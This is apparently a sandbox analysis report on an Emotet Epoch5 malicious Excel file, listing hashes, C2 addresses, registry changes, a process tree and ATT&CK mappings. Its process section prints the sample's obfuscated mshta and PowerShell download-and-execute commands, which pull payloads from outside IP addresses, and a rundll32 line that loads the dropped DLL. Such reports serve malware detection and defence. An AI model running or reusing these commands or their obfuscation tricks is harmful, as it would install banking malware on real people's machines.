emotet | bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603

Analysis

max time kernel
150s
max time network
142s
platform
windows7_x64
resource
win7-en-20211208
submitted
20-01-2022 07:03

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Report Analysis Logs

General

Target

bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603.xlsm
Size

115KB
MD5

cb5ae08f0635dff32c684570750108b5
SHA1

33c65f18d7f753d82cb4ac73540d5e53acb61d5f
SHA256

bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603
SHA512

4728bc8629c0584e23d02d4705ce607c6dd76740f4b64b089c8df5dc30f3fd3bec6d6dd4e39ab0bddb4da4fad6bc184496f580232555f74148db38455084f564

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1112	748	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 7 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1472 mshta.exe
5 1688 powershell.exe
7 1688 powershell.exe
9 1536 rundll32.exe
10 1536 rundll32.exe
11 1536 rundll32.exe
13 1536 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1804 rundll32.exe
1804 rundll32.exe
1804 rundll32.exe
1804 rundll32.exe
1564 rundll32.exe
1564 rundll32.exe
1564 rundll32.exe
1564 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Lwjvcodcfnuqe\hqtaaelfjqnnism.agg rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1472	mshta.exe
5	1688	powershell.exe
7	1688	powershell.exe
9	1536	rundll32.exe
10	1536	rundll32.exe
11	1536	rundll32.exe
13	1536	rundll32.exe

pid	process
1804	rundll32.exe
1804	rundll32.exe
1804	rundll32.exe
1804	rundll32.exe
1564	rundll32.exe
1564	rundll32.exe
1564	rundll32.exe
1564	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Lwjvcodcfnuqe\hqtaaelfjqnnism.agg	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

748 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1688 powershell.exe
1536 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1688 powershell.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

EXCEL.EXE

pid process

748 EXCEL.EXE
748 EXCEL.EXE
748 EXCEL.EXE
748 EXCEL.EXE
748 EXCEL.EXE

pid	process
748	EXCEL.EXE

pid	process
1688	powershell.exe
1536	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1688	powershell.exe

pid	process
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE
748	EXCEL.EXE

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 748 wrote to memory of 536	748	EXCEL.EXE	splwow64.exe
PID 748 wrote to memory of 536	748	EXCEL.EXE	splwow64.exe
PID 748 wrote to memory of 536	748	EXCEL.EXE	splwow64.exe
PID 748 wrote to memory of 536	748	EXCEL.EXE	splwow64.exe
PID 748 wrote to memory of 1112	748	EXCEL.EXE	cmd.exe
PID 748 wrote to memory of 1112	748	EXCEL.EXE	cmd.exe
PID 748 wrote to memory of 1112	748	EXCEL.EXE	cmd.exe
PID 748 wrote to memory of 1112	748	EXCEL.EXE	cmd.exe
PID 1112 wrote to memory of 1472	1112	cmd.exe	mshta.exe
PID 1112 wrote to memory of 1472	1112	cmd.exe	mshta.exe
PID 1112 wrote to memory of 1472	1112	cmd.exe	mshta.exe
PID 1112 wrote to memory of 1472	1112	cmd.exe	mshta.exe
PID 1472 wrote to memory of 1688	1472	mshta.exe	powershell.exe
PID 1472 wrote to memory of 1688	1472	mshta.exe	powershell.exe
PID 1472 wrote to memory of 1688	1472	mshta.exe	powershell.exe
PID 1472 wrote to memory of 1688	1472	mshta.exe	powershell.exe
PID 1688 wrote to memory of 1452	1688	powershell.exe	cmd.exe
PID 1688 wrote to memory of 1452	1688	powershell.exe	cmd.exe
PID 1688 wrote to memory of 1452	1688	powershell.exe	cmd.exe
PID 1688 wrote to memory of 1452	1688	powershell.exe	cmd.exe
PID 1452 wrote to memory of 1804	1452	cmd.exe	rundll32.exe
PID 1452 wrote to memory of 1804	1452	cmd.exe	rundll32.exe
PID 1452 wrote to memory of 1804	1452	cmd.exe	rundll32.exe
PID 1452 wrote to memory of 1804	1452	cmd.exe	rundll32.exe
PID 1452 wrote to memory of 1804	1452	cmd.exe	rundll32.exe
PID 1452 wrote to memory of 1804	1452	cmd.exe	rundll32.exe
PID 1452 wrote to memory of 1804	1452	cmd.exe	rundll32.exe
PID 1804 wrote to memory of 1564	1804	rundll32.exe	rundll32.exe
PID 1804 wrote to memory of 1564	1804	rundll32.exe	rundll32.exe
PID 1804 wrote to memory of 1564	1804	rundll32.exe	rundll32.exe
PID 1804 wrote to memory of 1564	1804	rundll32.exe	rundll32.exe
PID 1804 wrote to memory of 1564	1804	rundll32.exe	rundll32.exe
PID 1804 wrote to memory of 1564	1804	rundll32.exe	rundll32.exe
PID 1804 wrote to memory of 1564	1804	rundll32.exe	rundll32.exe
PID 1564 wrote to memory of 1852	1564	rundll32.exe	rundll32.exe
PID 1564 wrote to memory of 1852	1564	rundll32.exe	rundll32.exe
PID 1564 wrote to memory of 1852	1564	rundll32.exe	rundll32.exe
PID 1564 wrote to memory of 1852	1564	rundll32.exe	rundll32.exe
PID 1564 wrote to memory of 1852	1564	rundll32.exe	rundll32.exe
PID 1564 wrote to memory of 1852	1564	rundll32.exe	rundll32.exe
PID 1564 wrote to memory of 1852	1564	rundll32.exe	rundll32.exe
PID 1852 wrote to memory of 1536	1852	rundll32.exe	rundll32.exe
PID 1852 wrote to memory of 1536	1852	rundll32.exe	rundll32.exe
PID 1852 wrote to memory of 1536	1852	rundll32.exe	rundll32.exe
PID 1852 wrote to memory of 1536	1852	rundll32.exe	rundll32.exe
PID 1852 wrote to memory of 1536	1852	rundll32.exe	rundll32.exe
PID 1852 wrote to memory of 1536	1852	rundll32.exe	rundll32.exe
PID 1852 wrote to memory of 1536	1852	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:748

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:536

C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1112

C:\Windows\SysWOW64\mshta.exe
mshta http://0x5cff39c3/sec/se1.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1472

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1688

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:1452

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1804

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1564

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lwjvcodcfnuqe\hqtaaelfjqnnism.agg",LqMad
8⤵
- Suspicious use of WriteProcessMemory
PID:1852

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lwjvcodcfnuqe\hqtaaelfjqnnism.agg",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1536

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
32acc61226f47023b7e70deca529216a

SHA1
5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

SHA256
5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

SHA512
dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

Download Submit
\Users\Public\Documents\ssd.dll
MD5
32acc61226f47023b7e70deca529216a

SHA1
5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

SHA256
5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

SHA512
dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

Download Submit
\Users\Public\Documents\ssd.dll
MD5
32acc61226f47023b7e70deca529216a

SHA1
5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

SHA256
5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

SHA512
dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

Download Submit
\Users\Public\Documents\ssd.dll
MD5
32acc61226f47023b7e70deca529216a

SHA1
5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

SHA256
5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

SHA512
